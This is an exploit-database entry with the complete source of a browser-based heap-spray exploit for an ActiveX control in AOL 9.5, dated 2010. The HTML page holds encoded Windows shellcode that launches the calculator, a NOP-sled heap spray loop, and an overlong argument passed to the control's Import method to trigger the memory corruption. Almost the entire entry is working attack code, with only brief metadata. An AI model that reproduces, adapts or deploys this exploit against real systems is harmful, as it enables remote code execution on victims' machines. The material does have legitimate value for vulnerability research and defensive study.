AOL 9.5 - ActiveX Heap Spray

EDB-ID:
11204

CVE:

EDB Verified: ✓

Author:
DZ_ATTACKER

Type:
REMOTE

Exploit: / {}

Platform:
WINDOWS

Date:
2010-01-20

Vulnerable App:

```
<html>
 <head>
  <title>AOL 9.5 ActiveX 0day Exploit (heap spray) </title>
**************************************
<br>[+] AOL 9.5 ActiveX 0day Exploit (heap spray)</br>
<br>[+] Author : Dz_attacker</br>
<br>[+] Discovered by: Hellcode Research  (http://www.hellcode.net)
<br>[+] Reference: http://www.exploit-db.com/exploits/11190
<br>[+] Tested on Windows Xp SP3 ,IE7</br>
**************************************


<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='aol'>
</object>
<script language='javascript'>

// win32_exec -  calc
shellcode =
unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+

'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+

'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+

'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+

'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+

'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+

'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+

'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

     nops=unescape('%u9090%u9090');
     headersize =20;
     slackspace= headersize + shellcode.length;
    while(nops.length< slackspace) nops+= nops;
     fillblock= nops.substring(0, slackspace);
     block= nops.substring(0, nops.length- slackspace);
    while( block.length+ slackspace<0x40000) block= block+ block+
fillblock;
     memory=new Array();
    for( counter=0; counter<200; counter++) memory[counter]= block +
shellcode;
     ret='';
    for( counter=0; counter<=1000; counter++)
ret+=unescape("%0a%0a%0a%0a");
    aol.Import(ret,"Dz_attacker","True","True");
</script>
</head>
</html>
```

Tags:

Advisory/Source: Link